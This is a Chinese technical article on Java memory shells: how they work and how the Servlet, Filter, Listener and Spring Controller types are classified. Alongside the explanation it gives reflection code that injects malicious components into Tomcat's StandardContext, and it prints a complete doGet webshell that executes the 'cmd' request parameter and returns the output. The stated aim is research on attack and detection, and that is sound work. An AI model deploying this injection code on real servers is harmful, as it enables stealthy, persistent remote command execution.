在上一篇文章中,我们介绍了java内存马基础知识,以及如何使用RASP技术检测java内存马。本文主要介绍 Java 内存马攻防技术,包括对Java内存马实现原理与现有检测方法的研究。

Java内存马的实现原理

在现有的 Java 内存马攻击中,除了 Agent 型内存马,其他类型的 Java 内存马通常是通过利用Web容器、中间件的内部组件实现恶意对象的加载,例如 Listener、Filter、Servlet 或 Valve 等。这些组件是容器运行时的核心部分,攻击者通过反射技术操作这些组件,可以将恶意代码注册到容器的运行环境中。

例如,攻击者可以通过反射动态创建一个恶意的Servlet实例,并将其映射到特定的 URL 路径,或者注册一个恶意的 Filter,使其在请求处理过程中被触发。以下是一个具体的代码示例,展示了如何通过反射技术动态注册一个恶意的 Servlet 到 Tomcat 容器中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class MemoryServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
// 恶意逻辑:执行命令
......
}

public static void registerServlet(StandardContext context) throws Exception {
// 创建恶意Servlet实例
Wrapper wrapper = context.createWrapper();
wrapper.setName("MemoryServlet");
wrapper.setServletClass(MemoryServlet.class.getName());

// 将恶意Servlet添加到容器中
context.addChild(wrapper);
context.addServletMappingDecoded("/trigger", "MemoryServlet");
}
}

在上述代码中,MemoryServlet是一个简单的恶意Servlet,它在接收到HTTP请求时会触发一个命令执行操作(例如打开计算器)。通过反射技术,攻击者可以获取Tomcat的StandardContext对象,并调用addChild方法将恶意Servlet注册到容器中。同时,通过addServletMappingDecoded方法将恶意Servlet映射到一个特定的路径(如/trigger),这样当攻击者访问该路径时,就会触发恶意逻辑。

而 Java 内存马的利用点往往隐藏在Web应用的Controller层中,其触发机制通常依赖于特定的HTTP请求或参数,这是其与传统Web攻击相似的地方。攻击者会设计一个特定的触发条件,例如通过在HTTP请求中包含某个特定的参数或路径来激活恶意代码。以下是一个简单的代码示例,展示了如何通过HTTP请求触发恶意逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
@WebServlet("/trigger")
public class TriggerServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
// 检查请求中是否包含特定参数,例如 "cmd"
String cmd = req.getParameter("cmd");
if (cmd != null && !cmd.isEmpty()) {
// 恶意逻辑
} else {
resp.getWriter().println("No command provided.");
}
}
}

在上述代码中,TriggerServlet 是一个简单的 Servlet,它通过检查HTTP请求中的cmd参数来触发恶意逻辑。这种触发机制的设计使得内存马能够在不被轻易发现的情况下,根据外部输入动态执行恶意操作,如命令执行、数据窃取等。由于触发条件通常隐藏在HTTP请求中,且恶意代码仅存在于内存中,因此内存马的触发行为难以被传统的安全工具检测到。这种隐蔽性和动态性使得内存马成为一种极具威胁且难以防范的攻击手段。

Java内存马的分类

目前主流的Java内存根据实现原理可以分为传统Web应用型内存马、框架型内存马、中间件型内存马、Agent型内存马和新型内存马五类。其中,传统Web应用型内存马主要通过Java EE原生的Servlet-API来实现动态注册,从而实现恶意行为。框架型内存马主要利用各种如Spring的主流开发框架的特性进行恶意组件的恶意动态注册。中间件型内存马通过劫持中间件注入恶意代码,将其注册为中间件的关键组件,从而在无文件落地的情况下实现恶意操作。Agent型内存马利用Java Agent技术实现内存马逻辑的植入,具有变体众多、扩展性强的特点。新型内存马则通过各种新型技术,利用JVM底层机制、各类通信协议和各种框架机制进行内存马逻辑的深度植入,将攻击逻辑更深地嵌入JVM运行时,显著提升其隐蔽性。

传统Web应用型内存马

传统的Web应用型Java内存马通常依赖于Java EE中的组件实现恶意字节码的注入。Java EE作为Java的企业级扩展,在Java SE的基础上扩展了一套标准化的技术规范和API,从而构建企业级的应用程序,这其中也包括Web服务的支持。

Java Servlet API为Java EE中规定的组件,主要用于Web请求和响应,为构建Java Web应用的核心技术。其最常用的主要组件有Servlet、Filter、Listener等。其中,Servlet为服务端的Java应用程序,用于处理具体的HTTP请求和响应,主要处理业务逻辑;Filter是介于Web容器和Servlet之间的过滤器,主要对请求和响应进行拦截和过滤,多用于数据预处理、后处理或权限控制等。在请求到达Servlet之前,会先被一系列的Filter拦截进行处理。同样,当响应从Servlet返回时,也会通过一系列的Filter进行响应的处理再返回;Listener是用于监听某些Web应用中事件的监听器,如应用启动、关闭、会话创建、销毁等,当特定动作发生后,监听该动作的监听器就会自动调用对应的方法。Listener常常被用于管理应用的生命周期。

当我们在请求一个实现了Servlet API规范的Java Web应用时,程序会首先自动执行Listener监听器的内容,再去执行Filter过滤器。当存在多个过滤器时,则会组成过滤链,最后一个过滤器将会去执行Servlet的service方法,过程可以大致表现为Listener->Filter->Servlet。传统Web应用型内存马的技术本质是对该请求处理链的动态劫持。通过利用Java Web应用的核心处理逻辑,将恶意代码动态注入到Servlet、Filter和Listener等关键组件中,从而在内存中构建可持久化控制的恶意通道。

通常情况下,Servlet、Filter和Listener的配置在配置文件和注解中,如若需要在他处注册,可通过调用Java EE定义的Servlet API的相关接口。然而,此种方法一般只能在应用启动时阶段完成注册,运行时动态注册可能不被支持且被认为线程不安全。因此,主流的传统Web应用型内存马实现方式多使用中间件提供的相关接口,如,通过Tomcat多次反射获取StandardContext对象并利用其在Web应用运行时进行恶意类的注入。

Servlet 型内存马

Servlet型内存马通过运行时动态注册恶意Servlet,并实现恶意路由的注册,从而实现恶意HTTP请求的处理。其存在动态注册、路由劫持、内存驻留等特点。其中,动态注册指其绕过了web.xml或注解,实现运行时注入Servlet;路由劫持指其通过绑定高优先级的URL或注册新的恶意URL,实现合法路由的覆盖或恶意路由的隐藏;内存驻留指恶意Servlet类全程驻留内存,无文件落地,规避了传统的查杀方案。一个经典的Servlet型内存马的基本流程可以概括为几步:首先获取ServletContext;进一步地,获取Tomcat所对应的StandardContext;接着构建Servlet Wrapper;最后,将构建好的Wrapper添加到StandardContext,并加入Mappings,实现恶意路由注册。

  • ServletContext开发者用的接口,是对容器内部实现的一层“包装”或“门面”。
  • StandardContext :是 Tomcat 中用于表示一个完整 Web 应用的容器组件。它是 Context 接口的标准实现,负责管理这个 Web 应用中的所有 Servlet、Filter、Listener、资源路径、会话等信息,可以控制 Filter、Listener、Session 配置等

此种实现方式的内存马利用了Tomcat中间件。作为Java Web生态中广泛应用的Servlet容器,Tomcat通过分层式容器模型管理Servlet生命周期,共拥有四种类型的容器,从上到下分别为Engine、Host、Context、Wrapper。每一个Wrapper实例表示了一个具体的Servlet定义,StandardWrapper是Wrapper接口的标准实现类(StandardWrapper的主要任务就是载入Servlet类并且进行实例化),Context作为Web应用的逻辑载体,内部维护的Wrapper队列实质上构成了Servlet实例的孵化池。当攻击者通过反射机制获取StandardContext对象后,便可绕过常规部署流程,直接创建StandardWrapper实例,将Servlet类名及URL定义等植入容器,从而绕过web.xml实现运行时注入。

下面是一个典型的Servlet内存马的实现方式。首先,定义恶意Servlet类,并定义构造函数。使其在注入后可以将自己注册到StandardContext中。

1
2
3
4
5
6
7
8
9
10
public class EvilServlet extends HttpServlet {
// 无参构造函数,定义了恶意 Servlet 的初始化操作
public EvilServlet(){
...
}
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException{
// 此处为恶意逻辑
}
}

然后,检查当前是否有存在同名的Servlet注册,如果没有的话就通过递归反射继续获取StandardContext:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 新建一个空 StandardContext, 用于存储 Tomcat 的 StandardContext 实例
StandardContext standardContext = null;
// 通过反射不断查找 StandardContext
// Tomcat 的内部结构可能封装了多个层次的 ServletContext,因此代码需要不断通过反射向内层递归查找,直到找到 StandardContext。
while (standardContext == null){
// 获取 ServletContext 类中的私有字段 "context"
Field contextField = servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);// 通过反射设置可访问私有字段
// 获取 "context" 字段的值
Object contextObject = contextField.get(servletContext);
// 判断是否仍然是 ServletContext 类型,继续获取内部的上下文
if(contextObject instanceof ServletContext){
servletContext = (ServletContext) contextObject; // 递归继续查找
}else if(contextObject instanceof StandardContext){
standardContext = (StandardContext) contextObject; // 找到 StandardContext 对象
}
}

Tomcat 中的 ServletContext 是一个接口,实际上在运行中是由多个不同类层层包装(装饰器模式)实现的,如:

1
2
3
4
ApplicationServletContext
→ ApplicationContextFacade
→ ApplicationContext
→ StandardContext

这些封装层使得开发者无法直接访问 Tomcat 核心的 StandardContext,因此需要通过反射递归访问私有字段,逐层剥离,直到找到真实的 StandardContext 对象。

所以这段代码中,每轮循环都尝试往内层剥离 ServletContext,得到的对象可能是另一个 ServletContext 的实现,也可能已经是 StandardContext,递归直到找到StandardContext 对象为止

获取StandardContext后,创建一个Servlet包装器,用于封装恶意Servlet:

1
2
3
4
5
6
7
8
9
10
// 创建一个新的 Servlet 包装器 (Wrapper),用于封装 Servlet
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName(servletName); // 设置 Servlet 的名称为 "bad"
wrapper.setLoadOnStartup(1); // 设置 Servlet 在启动时加载
wrapper.setServlet(new EvilServlet("whatever"));// 实例化并设置新的 Servlet
wrapper.setServletClass(EvilServlet.class.getName());// 设置 Servlet 类名
// 将包装的 Servlet 注册到 StandardContext 中
standardContext.addChild(wrapper);
// 将 URL 映射 "/bad" 关联到 "bad" 这个 Servlet
standardContext.addServletMappingDecoded("/bad",servletName);

最后,定义恶意Servlet类的核心方法,doGet,用于处理HTTP请求,其具体作用为实现任意代码执行并回显在页面。为简洁起见,后文将省略类似恶意方法或恶意代码逻辑的实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// Servlet 的核心方法,用于处理 HTTP GET 请求
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException{
System.out.println("Injected Code Working");
try{
String cmd = request.getParameter("cmd");
if (cmd != null){
Process process = Runtime.getRuntime().exec(cmd);
Scanner scanner = new Scanner(process.getInputStream());
StringBuilder output = new StringBuilder();
while (scanner.hasNextLine()) {
output.append(scanner.nextLine()).append("\n");
}
scanner.close();

PrintWriter out = response.getWriter();
response.setContentType("text/plain");
out.write(output.toString());
out.flush();
} else {
PrintWriter out = response.getWriter();
out.write("Inject Complete ?cmd=<command>");
out.flush();
}
}catch(Exception e){
e.printStackTrace();
}
}

Filter型内存马

当目标系统采用URI白名单验证机制时,通过传统Servlet型内存马注入新路径的攻击方法将彻底失效,因为所有未经验证的访问路径都会被安全网关拦截,造成内存马无法被外部访问的情况。而Filter型内存马可以绕过这种防护手段。

Filter容器用于对请求和响应进行过滤和处理。客户端的请求在传递到Servlet之前会先经过Fliter。那么,如果攻击者动态创建一个含有恶意代码的Filter并将其放在Filter链的头部,那么该Filter就会最先被执行,实现Filter型的内存马。即,恶意Filter的注入将使得攻击者无需依赖特定路由,只需在Filter链的头部插入自定义逻辑,即可对所有经过容器的请求实施无差别监听,从而规避目标系统的路径校验机制。

一个典型的Filter型内存马的的基本流程可概括为:首先,获取ServletContext;进一步地,获取Tomcat所对应的StandardContext;然后,定义新的恶意Filter类,内嵌恶意代码;之后,实例化新的FilterDef,并通过StandardContext.addFilterDef()注册在应用上下文中;最后,实例化新的FilterMap类,将恶意Filter和urlpattern相对应,并通过standardContext.addFilterMap()注册在应用上下文中。

下面来分析一个恶意Filter的实现方式。首先,定义一个EvilFilter类。

1
2
3
4
5
6
7
8
public class EvilFilter {
public EvilFilter(){
...
}
private StandardContext getStandardContext() throws NoSuchFieldException, IllegalAccessException {
...
}
}

定义一个私有函数,实现获取StandardContext的作用,实现原理如上文。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private StandardContext getStandardContext() throws NoSuchFieldException, IllegalAccessException {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
ServletContext servletContext = context.getServletContext();
StandardContext standardContext = null;
while(standardContext == null){
Field contextField = servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
Object contextObject = contextField.get(servletContext);
if(contextObject instanceof ServletContext){
servletContext = (ServletContext) contextObject;
}else if(contextObject instanceof StandardContext){
standardContext = (StandardContext) contextObject;
}
}
return standardContext;
}

之后,在构造函数中定义一个新Filter,实现恶意Filter的定义,然后,将恶意Filter注册进StandardContext,并将其应用于任意URL。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
String filtername = "filtertrojan";
// 检查是否已经存在这个Filter
if(standardContext.findFilterDef(filtername)==null){
// 定义一个匿名的Filter实例
Filter filter = new Filter(){
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Init Filter Trojan Complete"); // 用于测试
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
// 此处为恶意逻辑
}catch(Exception e){
e.printStackTrace();
}
// 继续执行过滤链中的其他过滤器
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {}

Listener型内存马

Listener基于特定事件触发,基于不同类型的Listener会在不同时间触发。而在一系列的Listener中,对于内存马而言最好用的是ServletRequestListener。ServletRequestListener会在每次请求传入时触发。其存在两个核心方法:requestInitialized和requestDestroyed。前者在每次请求进入时触发,适合记录请求日志或统计访问量;后者在请求处理完成、即将返回响应时触发,可以用于释放与请求相关的资源。

一个典型的Listener型内存马的流程大概为:首先,继承或编写一个Listener;其次,获取StandardContext;最后,通过StandardContext.addApplicationEventListener()添加恶意Listener。

下面来分析一个经典的恶意Listener实现方式。首先,定义一个EvilListener类,并定义构造函数和一个获取StandardContext的私有函数,后者实现方式如上文,此处不再赘述。

1
2
3
4
5
6
7
8
public class EvilListener implements ServletRequestListener {
public EvilListener() throws NoSuchFieldException, IllegalAccessException {
...
}
private StandardContext getStandardContext() throws NoSuchFieldException, IllegalAccessException {
...
}
}

之后,在构造函数中新定义一个ServletRequestListener类,并写入恶意逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
StandardContext standardContext = getStandardContext();
ServletRequestListener servletRequestListener = new ServletRequestListener() {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("LISTENER REQUEST DESTROYED");
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (req.getParameter("cmdlistener") != null){
InputStream in = null;
try{
// 此处为恶意逻辑
} catch (Exception e){
e.printStackTrace();
}
}
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("LISTENER REQUEST INITIALIZED");
}

最后,将这个恶意Listener类注入StandardContext,从而在每次请求进入时触发恶意逻辑。

框架型内存马

Java Web框架是为了简化基于Java的Web应用程序开发而设计的工具集合。它们通过封装底层技术细节,提供更高层次的抽象和标准化开发模式,从而使开发者快速构建一个方便维护的Web系统。目前,Spring框架是Java生态中应用最广泛的企业级开发框架。Spring框架的Web模块,即Spring MVC,采用了经典的模型-视图-控制器模式,实现了典型的MVC架构模式,将应用程序的业务逻辑、视图和控制器分离,确保各个组件的职责单一,提高代码的可维护性和扩展性。

Spring MVC由三种模式组成:模型(Model)、视图(View)和控制器(Controller)。其中,控制器包含应用的核心业务逻辑和数据。模型的职责是处理数据并将其发送到视图层。Spring通常通过Service和DAO层来实现模型逻辑;View为显示数据给用户的部分。Spring MVC支持多种视图技术,例如JSP、Thymeleaf、Velocity等,可以根据不同的需求选择合适的视图渲染技术;控制器层用于负责处理用户请求,承担请求分发与响应协调的核心职能,其将模型数据传递给视图层进行显示。控制器是MVC框架的核心部分,Spring MVC使用@Controller注解标记控制器类,并通过@RequestMapping注解映射请求路径。

由于Spring的广泛应用度和其强大的灵活性和可扩展性,针对Spring机制的框架型内存马应运而生。主流的Spring框架内存马有三种,Controller型、Interceptor型和WebFlux型。

Spring Controller型内存马

Spring Controller是Spring MVC框架中处理HTTP请求的核心组件,其通过@Controller或@RestController(REST API)注解标记,负责接收客户端请求、协调业务逻辑并生成响应。Spring Controller可利用@RequestMapping及其衍生注解(如@GetMapping、@PostMapping)将特定URL路由映射到Java方法,支持从请求参数、路径变量、请求体中自动绑定数据到方法参数,并通过返回字符串(视图名称)、ModelAndView对象或@ResponseBody注解的Java对象(如JSON数据)实现页面渲染或RESTful API的数据交互,是连接前端请求与后端服务的核心枢纽。

简而言之,用户的请求是通过Controller处理的。Controller型内存马就是通过注入恶意Spring Controller来实现内存马逻辑。经典的Controller内存马实现原理大概为:首先利用Spring的机制获取当前请求的DispatcherServlet上下文;然后劫持Spring负责处理路由的组件,RequestMappingHandlerMapping,进行恶意注入逻辑的路由绑定;之后,通过访问恶意注入的路由,实现恶意Controller类的注入。

下面来分析一个恶意Controller的实现方式(所需环境为Spring版本2.6以下):首先,定义一个TestEvilController,用于动态注入内存马。在其中定义一个触发注入逻辑的入口端点,此处为/inject;再定义一个内嵌的Controler类,用于嵌入恶意逻辑。